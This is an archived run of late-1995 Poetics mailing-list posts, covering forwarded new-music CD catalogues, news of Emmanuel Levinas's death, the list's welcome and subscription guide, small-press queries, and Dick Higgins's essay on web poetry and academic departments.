> conversation between Cage and Klaus Schoning (who commissioned the work for
> the WDR in Cologne) and a solo recording of Cage reading his text. Also two
> booklets with essays, conversations, and the text. Mode.
> => eMUSIC #MO-108-3 $31
>
> JOHN CAGE: FREEMAN ETUDES, BOOKS ONE & TWO
> Irvine Arditti plays the first half of this massive virtuoso solo violin work
> composed in the late 1970s and again in the late 1980s, written as an example
> of the 'hard work' that would be necessary to solve global problems. If
> Arditti's virtuosity is an indication, there's hope for the world. Mode.
> => eMUSIC #MO-116 $16
>
> JOHN CAGE: FREEMAN ETUDES, BOOKS THREE & FOUR
> Irvine Arditti plays the second half of this major violin work. It's even
> denser, even harder than the first. And again, Arditti plays them with
> elegance. Mode.
> => eMUSIC #MO-117 $16
>
> EUROPERAS 3 & 4
> John Cage wrote: "What is Europera 3 but a big party?" And indeed it is!
> Juxtapositions of singing, pianos, old recordings, and all manner of sounds
> suggestive of opera. And with 'Europera 4,' all the elements of opera come
> together in a big party. Performed by the Long Beach Opera. Mode.
> => eMUSIC #MO-112-3 $29
>
> EUROPERA 5
> The last of the series of Cage's assemblages of the European opera tradition,
> 'Europera 5' (1991) calls for two singers (Martha Herr and Gary Burgess), one
> piano (Yvar Mikhashoff), one 78-rpm victrola, one radio (Jan Williams), and
> one tape (Don Metz), all of which are combined in such a way that long
> silences and hilarious juxtapositions occur. Mode.
> => eMUSIC #MO-111 $16
>

> JOHN CAGE: COMPLETE STRING QUARTETS, VOLUME 1
> Cage wrote one "early" and three "late" string quartets. The Arditti Quartet
> very understandingly plays two of the late works: 'Thirty Pieces for String
> Quartet' (1981) and 'Music for Four for String Quartet' (composed as part of
> Cage's 'Music For   ' series between 1984 and 1987). Mode.
> => eMUSIC #MO-114 $16
>
> JOHN CAGE: COMPLETE STRING QUARTETS, VOLUME 2
> The Arditti Quartet plays the 'String Quartet in 4 Parts' (1950), an early
> transitional piece that floats gently along in its serene and lovely way.
> Also the very late 'Four,' which refines, if anything, the stillness of its
> predecessor in terms more austere. Mode.
> => eMUSIC #MO-115 $16
>
> THE NUMBER PIECES 1
> Three very late, rarified, sparse chamber pieces by John Cage. 'Four3'
> (1991), based on Satie's 'Vexations' and composed for Merce Cunningham, is
> scored for twelve rainsticks, two pianos (one inside the hall and one
> outside) and violin playing held notes. 'One5' (1990) is a solo piano work
> and 'Two6' (1992) is a piece for violin and piano, recorded by Martine Joste
> and Ami Flammer, the musicians Cage wrote it for. Mode.
> => eMUSIC #MO-119 $16
>
> FIFTY-EIGHT
> One of John Cage's very last pieces, 'Fifty-Eight' was written for the
> Pannonisches Blasorchester, an Austrian/Hungarian wind band, to perform it
in
> the Renaissance courtyard of the Landhaushof in Graz. The porticos around
> the courtyard consist of fifty-eight arches. One wind player was stationed
> in each arch. Hat Hut.
> => eMUSIC #HA-241 $19
>
>
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> member of ICMA or SEAMUS, take a 5% discount from the sum. Discounts
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> with your credit card information, you can email your orders -- and just tell
> us to charge your card.
>
> Place your order by --
>
> Email to: [redacted]

> Fax to: [redacted]
> Telephone to: [redacted]
> Hard mail and carrier pigeon to: eMUSIC, 116 North Lake Avenue, Albany NY
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language." email: | -- Friedrich Holderlin [redacted]|
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395. **Pierre Joris**

eMUSIC SPECIALS (fwd)

Sat 23 Dec 1995

& here's a last eMUSIC cat with info --pierre

Forwarded message:
> From [redacted] Mon Dec 18 21:50:05 1995
> From: [redacted]
> Date: Mon, 18 Dec 1995 18:36:01 -0500
> To: [redacted]
> Subject: eMUSIC SPECIALS
>
>
> WELCOME TO eMUSIC!
> ================================ December 1995
> SPECIAL OFFERS... AND A TRIBUTE.
>
> Read below for HOW TO ORDER and other information.
>
> Coming next in January: 'Discs I have Known and Loved' by Warren Burt. And a
> special listing of many wonderful new discs to start the New Year.
>
>
> ================================ A TRIBUTE
> SALVATORE MARTIRANO: 1927-1995
>
> Martirano's music is wonderful, powerful. One hears the liveliness of jazz,
> the lyricism of Italian opera, the cutting edge of an extraordinary
> intelligence and talent. He was also a pioneer -- the Sal-Mar Construction
> was one of the earliest of the interactive instruments and quite an
> incredible invention. Here are two CDs with his music.
>
> A SALVATORE MARTIRANO RETROSPECTIVE: 1962-92
> This disc includes the 'Sal-Mar Construction' (1972), an amazing interactive
> instrument built by Martirano and others at the University of Illinois
> between 1969 and 1972. Also: 'Underworld' (1965), for actors, percussion,
> electronics, sax; 'L's G.A.' (1968) for gassed-masked politico, helium bomb,
> and sounds on tape; 'SATBehind Demo' (1992), which combine the Kyma system
> with Martirano's SAL (Sound And Logic) software; and other pieces. CDCM.
> (=> eMUSIC #CE-124: ordered individually, $16)

>
> SOUND ENCOUNTERS
> Performances by the Cleveland Chamber Symphony conducted by Edwin London,
> including Salvatore Martirano's 'LON/Dons' (1989) for chamber orchestra and
> saxophone, the solo performed here by Howie Smith, saxophonist. It's a
> powerful piece, composed, according to the liner notes, "by means of an
> unusual combination of computer programs, improvisation at the keyboard and
> 'premeditated composition.'" Also on the disc: Libby Larsen's 'What the
> Monster Saw' (1987), Bernard Rands' 'London Serenade' (1988), and Roger
> Reynolds' 'The Dream of Infinite Rooms' (1986). GM.
> (=> eMUSIC #GM-100: ordered individually, $16)
>
> => eMUSIC #SL-100: BOTH MARTIRANO DISCS FOR $28
>
>
> ================================ DEEP LISTENING
>
> Pauline Oliveros' new label called Deep Listening is off to a great start
> with three very different and stunning discs. If this group indicates things
> to come, we can look forward to another fine source for CDs of new music.
>
> JOEL CHADABE: AFTER SOME SONGS
> Chadabe uses Intelligent Music's M software and improvises with Jan Williams
> playing percussion, Bruno Spoerri playing saxophone, and Reto Weber playing
> udu drums and other instruments. The compositions are mostly abstractions of
> jazz classics. For example, 'Valentine' is based on 'My Funny Valentine',
> 'Echoes of Brazil' is based on 'Corcovado', 'Elusive Lady' is based on
> 'Stella By Starlight', and more. The sounds are beautiful, agreeable, smooth,
> as Chadabe puts it, "a lyrical surface to an underlying complexity." Deep
> Listening.
> (=> eMUSIC #DL-100: ordered individually, $16)
>
> R.I.P. HAYMAN: ON THE WAY...
> This is a reflective, quiet, peaceful, somewhat mysterious yet always
> arresting sound process. Hayman calls it "a contemplative environment." John

> Cage, listening to it in 1991 in Hayman's studio, said "It is very beautiful
> what I am hearing now." It is about a near-death experience. In Hayman's
> words: "How does death sound? Do our senses survive our passing? Can we hear
> eternity?" Deep Listening.
> (=> eMUSIC #DL-101: ordered individually, $16)
>
> TOSCA SALAD
> The Deep Listening Band strikes again with a "tossed salad of a CD," a
> variety of free improvisations recorded at various concerts. The Band's
> regular members are Pauline Oliveros playing accordion, David Gamper playing
> piano and organ, Stuart Dempster playing trombone and dijeridu, and everyone
> playing with the Expanded Instrument System, a sound-transformation system
> developed by Oliveros and associates through the years. In the improvisations
> on this disc, the Band's guest artists include Julie Lyon Rose, voice; Fritz
> Hauser, percussion; Urs Leimgruber, saxophone; Ben Neill, mutantrumpet; Joe
> McPhee, reeds, pocket trumpet; Joe Giardullo, reeds, flute; and Ellen
> Fullman, Nigel Jacobs, and Elise Gould, members of the Long String Instrument
> Band. Deep Listening.
> (=> eMUSIC #DL-102: ordered individually, $16)
>
> => eMUSIC #SL-101: ALL THREE DEEP LISTENING DISCS FOR $39
>
>
> ========== FREDERIC RZEWSKI
>
> Rzewski is one of the world's finest pianists and most interesting composers.
> Here is a special offering from O.O. Discs.
>
> A DECADE: ZEITGEIST PLAYS RZEWSKI
> A ten year collaboration by the virtuoso ensemble Zeitgeist and the American
> composer Frederic Rzewski has resulted in four provocative works including
> 'Spots', 'Wails', 'The Lost Melody' and the sixty-five, 15 second pieces of
> 'Crusoe'. All World Premiere Recordings. O.O.
> (=> eMUSIC #OO-113: ordered individually, $16)
>

> FREDERIC RZEWSKI: THE PIANO MUSIC
> Pianist Anthony DeMare presents four works spanning 15 years of Rzewski's
> piano writing, including 'Winnesboro Cotton Mill Blues', 'Piano Pieces No.
> IV', 'Piano Sonata', and the recent 'De Profundis', composed for DeMare. OO.
> (=> eMUSIC #OO-114: ordered individually, $16)
>
> THE PEOPLE UNITED WILL NEVER BE DEFEATED
> A rare Japanese import of what many critics consider to be the classic
> recording of one of Rzewski's most noted works. This solo piano work is
> performed by Yuji Takahashi piano and includes the complete 36 variations
on
> 'iEl Pueblo Unido Jamas Sera Vencido' impeccably recorded by Yukio Kojima.
> OO Import.
> (=> eMUSIC #OO-124: ordered individually, $19)
>
> => eMUSIC #SL-102: ALL THREE RZEWSKI DISCS FOR $39
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language." email: | -- Friedrich Holderlin [redacted]|
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396. **Marjorie Perloff**

Re: POETICS Digest - 21 Dec 1995 to 22 Dec 1995

Sat 23 Dec 1995

Hank Lazer reminds me that everyone on this list who will be at MLA should visit various booths and reminds the people there how many of us are interested in the poetry/poetics they publish. Nicole Mitchell at Alabama is terrific. At Northwestern, ask for Susan Harris; she is the editor who is publishing Hank's own book, Bruce Andrews's essays, and yours truly's reissue of DANCE OF THE INTELLECT and has worked with me on other projects

(Poetic License and Poetics of Indeterminacy). Alan Thomas at Chicago is very much interested in new poetries/poetics. Damon Kruzowksi will be there at Exact Change (has a booth this year) and Doug Messerli will have a Sun & Moon booth. New Directions, distributed by Norton, not only has a booth but there's the Norton Party 6.30-8.30 in the State Room, Level Two at the Fairmont Hotel--that's on the 28th. New Directions is bringing out Susan Howe's new book among other things.

So: we can all run around the book exhibit and meet one another!

Marjorie Perloff

PS: I forgot Wesleyan, Irene McWilliam is the point person and of course they've just published Joan Retallack's wonderful MUSICAGE, Leslie Scalapino etc etc.

↑ Index

397. Aldon L. Nielsen
Re: Season's Gratings
Sat 23 Dec 1995

Along with all that good reading mentioned here, let me here mention an enjoyable collection of songs --
Bummed Out Christmas from Rhino Records

get the CD,,, it has more songs than the tape --

Includes such memorable delights as "Santa Got a DWI," "Christmas in Jail," and "Chritmas Eve Can Kill You"

a perfect antidote to Bill Moyers's poetry shows

↑ Index

398. Stephen Galen Cope
Re: Season's Gratings
Sun 24 Dec 1995

In league w/ Aldon's recommendation:

Max Roach put out a recording last year on Soul Note records (Italy) that features, among other things, the poetry (or Roach's adapted versions of the poetry) of Bruce McMarion Wright. Wright was also a fairly well-known judge in NYC in the 70-80's -- particularly because of his vociferous and active advocacy of Black and Hispanic rights and rights for the poor...

Anyway, the disk features a performance of Wright's "It's Christmas Again" which is absolutely stunning, accompanied by Roach's percussion, Odean Pope on tenor and voice, Cecil Bridgewater on trumpet, and Tyrone Brown on bass. The disk is called "It's Christmas Again" and is certainly worth checking out...

Best of holiday cheer (and good conferencing to those at MLA...

-Stephen Cope

↑ Index

399. **Jonathan Brannen**

Re: Ted Berrigan

Mon 25 Dec 1995

Libbie,

In case you're not familiar with it, _Talking In Tranquility: Interviews with Ted Berrigan_ (eds. Stephen Ratcliffe and Leslie Scalapino, Avenue B / O Press) should prove useful.

> *I'm beginning work on a dissertation chapter on Ted Berrigan and Frank O'Hara and wondering if anyone out there is currently working on Berrigan. Beyond the "Nice to See You" homage collection, a great short piece by*
> *Barrett Watten and an article by Joel Lewis, I haven't found much writing on Berrigan's poetry. "Nice to See You" is composed mostly of memoirs (Charles Berstein's "Writing Against the Body" is a notable exception). The fact that memoir is still the dominant mode of commentary on these two poets, and perhaps the "New York School" in general, seems relevant in itself. But what about the poetry?*
>
> *Has Berrigan already been discussed in this forum? I'm new to the list and would like to hear what people are doing.*

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400. **Pierre Joris**

MB: Levinas (fwd)

Tue 26 Dec 1995

This sad note just in -- havent been able to verify it either -- more as I find out -- Pierre

Forwarded message:
> From [redacted] Tue Dec 26 07:53:40 1995
> Date: Tue, 26 Dec 1995 13:17:16 +0100
> To: [redacted]
> From: Daniel Kern <[redacted]>
> Subject: MB: Levinas
>
> It seems that Levinas died yesterday. I haven't seen the paper yet; I'll
> let you know what it says.
>
> Dan
>
>
>

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
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401. **Pierre Joris**
Levinas
Tue 26 Dec 1995

Clipped from the French on-line news service (sorry, no time for translation) -- Pierre

"Autre deces celui du philosophe francais Emmanuel Levinas, mort a l'age de 90 ans ce lundi matin. Inspire par la philopsophie d'Heidegger et d'Husserl, Emmanuel Levinas enseigna aux univer- sites de Poitiers puis de Nanterre. Ce grand penseur du judaisme moderne dirigea avec son epouse l'Ecole normale israelite orien- tale de Paris."

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|

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402. **Pierre Joris**
Levinas
Tue 26 Dec 1995

The French newspaper LIBERATION reproduced the following piece by Maurice Blanchot in today's edition, as hommage to Levinas. (Again, sorry, but no time for translation) -- Pierre

Levinas vu par Blanchot

Extrait de Notre Compagne clandestine, que Maurice Blanchot ecrivit pour son ami dans _Textes pour Emmanuel Levinas_, paru in 1980 (Jean-Michel Place Editeur):

"Tous, honteusement, glorieusement. Philosophes, nous le sommes tous, honteusement, glorieusement, par abus, par defaut et surtout en soumettant le philosophique (terme choisi pour eviter l'emphase de la philosophie) a une mise en question si radicale qu'il faut toute la philosophie pour la soutenir. Mais j'ajouterai [...] que, des que j'ai rencontre--rencontre heureuse, au sens le plus fort--, il y a plus de cinquante ans, Emmanuel Levinas, c'est avec une sorte d'evidence que je me suis persuade que la philosophie etait la vie meme, la jeunesse meme, dans sa passion demesuree, cependant raisonnable, se renouvelant sans cesse ou soudainement par l'eclat de pensees toutes nouvelles, enigmatiques, ou de noms encore inconnus qui brilleraient plus tard prodigieusement. La philosophie serait notre compagne a jamais, de jour, de nuit, fut-ce en perdant son nom, devenant litterature, savoir, non-savoir, ou s'absentant, notre amie clandestine dont nous respections--aimions--ce qui ne nous permettait pas d'etre lies e elle, tout en pressentant qu'il n'y avait rien d'eveille en nous, de vigilant juque dans le sommeil, qui ne fut du a son amitie difficile. ... philosophie ou l'amitie. Mais la philosophie n'est precisement pas une allegorie [...]."

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

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403. Charles Bernstein
Emmanuel Levinas (1905-1995) [Reuters]
Tue 26 Dec 1995

---------- Forwarded message ----------
Date: Tue, 26 Dec 1995 22:18:14 -0500
From: Ben Friedlander <[redacted]>

> *From: [redacted] (Reuters)*
> *Subject: Levinas dead, hailed among greatest philosophers*
> *Date: Tue, 26 Dec 1995 7:10:32 PST*
>
> *PARIS (Reuter) - The World Jewish Congress Tuesday paid tribute to French Jewish philosopher Emmanuel Levinas who died earlier this week at the age of 90.*
> *It hailed the Lithuanian-born writer as one of the greatest contemporary philosophers who ``never ceased to pursue his quest for a world morale following the Holocaust.''*
> *Levinas died Monday in Paris of an heart ailment.*
> *Born in 1905 in Lithuania, he lived in Ukraine at the time of the Soviet revolution and later studied in Germany and taught in France, combining German, Russian, French and Jewish cultures.*
> *His mentors were Germans Edmund Husserl and Martin Heidegger and Israeli Martin Buber. His main work was ``Totality and Infinity,'' published in 1961.*

↑ Index

404. Charles Bernstein
Welcome to Poetics (revised)
Wed 27 Dec 1995

I usually send this "welcome" message out to each new Poetics subscriber, but I have fallen behind in the past weeks, so I am sending it out to the whole list as it may be useful to a few others as well. (There are currently 297 Poetics subscribers.) This welcome message is posted at the EPC "poetics" page. (I've also recently posted the syllabi from my graduate seminars on the EPC; you can find them through my "author" page or at "poeitcs".) Let me remind you all, once again, to post information on your recent books and other publications, including ones you have edited. Please include full ordering information including address and price.

%&*^%^&$^%#HAPPY%&%^&#@!$!$%#$^*%&*(_ NEW ~<>?":"{}{}+ +_(YEAR!&(&*^&%&%&^$%$

Rev. 12-19-95

Welcome to the Poetics List

&

The Electronic Poetry Center

at the State University of New York - Buffalo

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http://writing.upenn.edu/epc

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Appendix I: Some Links via EPC
Appendix II: Archives (Alternate)

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

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1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume managable. Word-of-mouth (and its electronic equivalents) seems to be working fine: please feel free to invite people you know to sign-up. It is easier for me if they sign-up by themselves AND send me ([redacted]) a note telling me how they heard about the list. I will send them

this document in reply. Please contact Charles Bernstein (the "listowner") if you have any questions about this policy.

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2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

I will be sent a notice of all subscription activity.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

  review poetics

THIS IS A GOOD WAY TO GET CURRENT ADDRESS!

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4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can now use the digest option:

Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

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5. When you'll be away

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

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6. Archives of the Poetics List

There are two ways to get archives. The easiest way is to use the archives of the list at the Electronic Poetry Center (EPC), for which see section 11 below. The other is described in Appendix II.

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7. To Subscribe to RIF/T

Send an e-mail message to [redacted]. Leave the "Subject" line of the e-mail message blank. In the body of your e-mail message type:

subscribe e-poetry John Milton

replacing your real name for "John Milton"

You will receive a confirmation of your subscription soon thereafter.

Note: RIF/T is also available via the Electronic Poetry Center. Increasingly it is a richer experience to read RIF/T online because, at the EPC, it features hypertextual links, weaving related and disparate texts, hypertextual chapbooks, and graphical (and sound) files that cannot be mailed in ascii form. Mailing of ascii versions is continued through subscription; it is a good way to stay in touch since subscribers receive Tables of Contents and other RIF/T information, as well as some texts. Suscribers to RIF/T also receive the occasionally-issued _EPC.News_, the Electronic Poetry Center newsletter.

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8. Interfaces, HTML, URL (EPC Preface)

Before describing the resources of the EPC and how to gain access to it, it is useful to understand a few Internet concepts.

8.1 Interface

The Web can be access through an ascii or a graphical interface. An ascii interface provides access through _screens_ of information with links to other areas appearing as highlighted text; Mosaic is a graphical interface basically superimposed on the Web structure that offers images, sound, video, and allows you to use your mouse as a navigational tool. The EPC is accessible through any of these interfaces. It is presently evolving strongly towards exclusive Web/Mosaic access.

Even as activities converge, it is also the time of divergent interfaces. I am often surprised by the number of our contributors and participants who do not

even have gopher access. Most people, we figure, have some sort of Web access.

8.2 HTML

The standard for Web/Mosaic documents is the markup protocol called html. These are imbedded codes that you will see once in a while when you download an html document. These codes give instructions to the software about highlighting, fonts, and screen layout, as well as providing for the _hot links_ that make possible Web/Mosaic navigation.

8.3 URL

A URL, a "uniform resource locator," is to the Internet what a social security number is to a person. In a web/mosaic interace, the "go to URL" option will specify a specific and unique Internet address for you to go to.

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9. What is the Electronic Poetry Center?

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. For texts housed at the Electronic Poetry Center, texts are "definitive" texts inasmuch as, prior to posting, they have been approved by their producers. JOURNALS distributed by the EPC include:

DIU / Albany
EPC.News / Buffalo
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany, NY
Passages: A Technopoetics Journal / Albany, NY
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics / Buffalo
Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Studio City, CA

The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. The Poetry & Poetics DOCUMENT Archive provides access to a number of documents of use to poets, teachers, and researchers. Here you will find essay material and recent

obituaries. The EPC also presently offers GALLERY, SOUND, EXHIBITS, and an ANNOUNCEMENTS area.

The Electronic Poetry Center is administered by Loss Glazier and Kenneth Sherwood in collaboration with Charles Bernstein. If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

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10. How to reach the EPC

Via the World-Wide Web, the Center can be reached at http://writing.upenn.edu/epc (no spaces in the address)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you invoke your interface.

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11. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

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12. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. Though files marked up with html are our goal, ascii files are perfectly acceptable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Appendix I: Some Links Provided by the EPC

Alternative-X
Basil Bunting Poetry Centre (Durham, England) [Informational]
Best-Quality Audio Web Poems (Rhode Island)
Carma Bums 'Tour of Words'
CICNET Electronic Journal Archive
Institute for Advanced Technology in the Humanities (Virginia)
Internet Poetry Archive (North Carolina)
Michigan Electronic Text Archive
Nous Refuse Discussion List (Illinois)
Postmodern Culture (North Carolina)
Whole Earth 'Lectronic Magazine

Appendix II: Alternate Method for Receiving Poetics Archives

You may also receive Poetics archives by e-mail, though the language is somewhat arcane.

To receive postings for a particular month, for example, send an e-mail message to [redacted]

message type:

get poetics.log9505 f=mail

Replace 95 (two digits) with the year and 05 (two digits) for the month you seek.

For a complete list of available back files, send the message

index poetics f=mail

_____ END OF POETICS LIST WELCOME

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405. **Chris Stroffolino**

Re: Season's Gratings

Wed 27 Dec 1995

In response to aldon's post---
I remember this kinda classic-punk sounding song called
"Christmas In reverse"---

Does anyody know who did it? Or where I could find it?
Thanks, chris stroffolino

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406. **James Perez**
O books?
Thu 28 Dec 1995

---

read somewhere about Leslie Scalapino being involved with a press called O books that publishes young innovative types

its not listed in EPC's group of Small Presses

anyone know where I can get some info? a catalogue?

↑ Index

407. **Eryque Gleason**
Re: O books?
Thu 28 Dec 1995

James,

from the innards of _Values Chauffeur You_ by Andrew Levy, from O Books and well worth the read...

O Books
5729 Clover Drive
Oakland, CA 94618

It also lists SPD as a distributor 1814 San Pablo Avenue, Berkeley, CA 94702

↑ Index

408. **Charles Smith**
Re: O books?
Thu 28 Dec 1995

<<read somewhere about Leslie Scalapino being involved with a press called O books that publishes young innovative types

its not listed in EPC's group of Small Presses

anyone know where I can get some info? a catalogue?>>

James Perez

James:

O Press titles are carried by Small Press Distribution:
1814 San Pablo Ave.

Berkeley, CA 94702-1624.
[redacted], Fax [redacted].

I believe the address for the press is still:
5729 Clover Drive
Oakland, CA 94618

Some of my favorite O titles include Pat Reed's _Kismet_, Bob Grenier's _Phantom Anthems_, Danielle Colbert's _It Then_ (trans. by Norma Cole), Ben Friedlander's _Time Rations_, Ted Pearson's _Catenary Odes_, Aaron Shurin's _A's Dream_, Ted Berrigan's _A Certain Slant Of Light_, Norman Fischer's _Turn Left In Order To Turn Right_, & Jerry Ratch's _Light_. Others no doubt wd have a different list...

good luck & enjoy!
Charles Smith

ps... almost forgot the recently issued Alice Notley, _Close To Me & Closer... (The Language Of Heaven) and Desamere_ which is still buried unread under stacks of books, but what I've heard her reading the past year, which was terrific, was I believe from this mss.

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409. **Robert Drake**
Re: O books?
Thu 28 Dec 1995

> *read somewhere about Leslie Scalapino being involved with a press called O books that publishes young innovative types*
>
> *its not listed in EPC's group of Small Presses*
>
> *anyone know where I can get some info? a catalogue?*

O Books
5729 Clover Dr.
Oakland CA 94618

(also dist. by SPD...)

recent releases include _Memory Play_ by Carla Harryman, _MOB_ by Abigail Child, & _Collision Center_ by Randall Potts. backlist includes the occasional O anthology series (4 so far, i think) edited by Leslie Scalapino; 2 Berrigan titles (his final collection _A Certain Slant of Sunlight, and _Talking in Tranquility, a collection of interviews) recently asked after; and books by Jessica Grim, Ben Friedlander, Norman Fisher, Alan Davies, Fanny Howe, Camile Roy, &&...

lbd

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410. Janet S. Gray
My book/Critical Matrix (journal)
Thu 28 Dec 1995

Responding to Charles's reminder to post notices of our own publications here:

My book, _A Hundred Flowers_ (Thumbscrew Press, 1993), is somewhat old news by now but is available for $11.95 from Small Press Distribution.

I want to let you all know too about a journal for which I'm currently managing editor - _Critical Matrix: The Princeton Journal of Women, Gender, and Culture_. It publishes one or two groupings of poems in most issues, alongside scholarly and creative/critical prose across several disciplines. We're currently collecting submissions for a special issue titled "(M)Other Nature" - subtopics including ecofeminism, reproductive technologies, sci fi, borderlands between the natural and the technological. Deadline is March 1.

Submissions to Editors, Critical Matrix, Program in Women's Studies, 113 Dickinson Hall, Princeton University, Princeton NJ 08544. If you'd like to see a sample copy, e-mail me personally and I'll see you get one.

Critical Matrix is edited by graduate students & over the past several years we've been working hard to make it a 'real' journal, to establish identity & continuity in spite of the fact that editors serve only one to two-year terms. The journal's identity has coalesced most vividly around issues of disciplinarity - looking for work that explores/challenges disciplinary boundaries or falls outside established boundaries. The labors of four generations of grad student editors just got the pay-off of an award from the Council of Editors of Learned Journals.

Janet Gray
[redacted]

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411. Larry Price
Re: O books
Thu 28 Dec 1995

I would also recommend the random eye stay alert for O's forthcoming IN MEMORY OF MY THEORIES, by that parrhesiast-in-the-seat-of-lies, Rod Smith. Even through the fog of typesetting (and the difficulties of reading a text while designing and setting it are legion), I already love this book, playful and utterly serious. The titles alone keep me up at night. The vagaries of designers being

what they are, nonetheless IN MEMORY should be out well in advance of Super Tuesday. Which is, I'm sure, exactly what Mr. Smith had in mind.

lp

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412. **Bill Luoma**
Re: O books
Fri 29 Dec 1995

---

did git a super tuesday preview of m. smiths ms. myself and predict from this seat that it will go out of print in a hurry because lots of people will want to read it.

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413. **Robert Drake**
Gary Sullivan?
Sat 30 Dec 1995

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if anybody has a current email &/or smail address fr gary, could you backchannel 'em to me? seems to have got lost in the shuffle...

luigi
[redacted]

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414. **Dick Higgins**
WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Sun 31 Dec 1995

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31. December, 1995

Nice to see the POETICS network's so quiet. Gives a body time to ruminate and then say what one has been thinking of.

With me it is two things:

1) On the poetics network I would have thought I would see speculations on the present state of literature instead of this constant assertion that this or that is a fine book. Try this: we have seen many explanations of the mess in our literary publishing-high paper costs, poor distribution, a declining economic base of independent stores, lack of widely read news media coverage, etc. With thirty million people or so on the web and capable of getting e-mail and the number growing towards perhaps a quadrupling of that number, e-mail publishing and e-zines are bound to become a more significant factor than they have been, since putting up a web site is cheap. Furthermore, many of those who might

otherwise buy books are now buying hardware and software to get onto the web, so that a downturn in book sales can and must be expected at least short term, that aggravating an already difficult situation for the serious book-selling and book-publishing public. We who are "on-line" can access a good site and print out what we like, thus providing ourselves almost for free with good reading matter (assuming one does not wish to read on the screen itself). Leaving aside for now the related questions of how to pay and support the publisher and writer, one wonders what are some characteristics of works which function well on the web? For example, time seems to behave differently in web poems than in on-paper ones. One is impatient to download, one must read in two stages-do I like this text enough to download it, and now I can see it, do I want to keep it? I worry about the cost of being connected to my server (the economic angle), and I can only see one screen-ful at a time. How does poetic language (including visual-poetic language) function in such a context? With TTS (="text to sound") becoming ever more sophisticated and less expensive, therefore more available, the silent web has already begun to be replaced by the talking web. Already I have been invited to submit poetry by myself and my Left Hand Books friends to a "poetry reading on the web." If such a site can be seen in France, Thailand and Brazil, what does this do to the very concept of national literatures? Is it a form of cultural imperialism or is it a force for building the world literary community? Or both? What will all this mean to us as writers, scholars and thinking human beings?

2) On our POETICS NETWORK there is so much academic professionalistic babble that I've found it hard to think about poetics. It has also made me think, as I haven't in years, about how in an ideal world the education of people in our language arts would be structured. Try this: scrap all English and Comp Lit departments. Create two other kinds of departments in their place: Departments of Literature and Literary History (parallel to those in Art and Art History) and Departments of Language Skills (for linguistics, technical, journalistic, English for non-native speakers, basic grammars and remedial writing, etc.). Such a reorganization would allow for the clearing out of the dead wood, retaining the vital and ultimately serve the students and public far better and more realistically than the present set of assumptions does. For example, the present system sets up too many boundaries among English, other languages and social structures in our literary canons. The real world knows no such bounds. Goethe's dictum that "All literature is world literature" applies, especially now. I can read German poems, medieval texts, works by women and blacks, works with which I do not agree and so on and make of them my own; under the present structures, were I to be in academia, I could not share my thoughts about them. "That's not in your department," I would be told-"Don't invade his-or-her territory or you won't get tenure or you'll have to take early

retirement." I would therefore be unable to share what was really on my mind and would have to keep my mouth shut. How well I remember Joel Oppenheimer telling me, many years ago when he was teaching, that he hated not being able to teach Wordsworth because he was supposed to focus on teaching his students to write poems! This should change. Perhaps those who are concerned about these matters, in and out of academia, should start a campaign to cause such a restructuring to become normative.

We have no time for resentments (presumably we all hate change, especially since we are all so busy and overworked, both in and out of academia). Rather, these are both issues, I believe, which we must consider if we are not all to wind up in the dustbin while the outside world looks for others to deal with these questions.

Seriously everybody-how about it?

Dick Higgins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

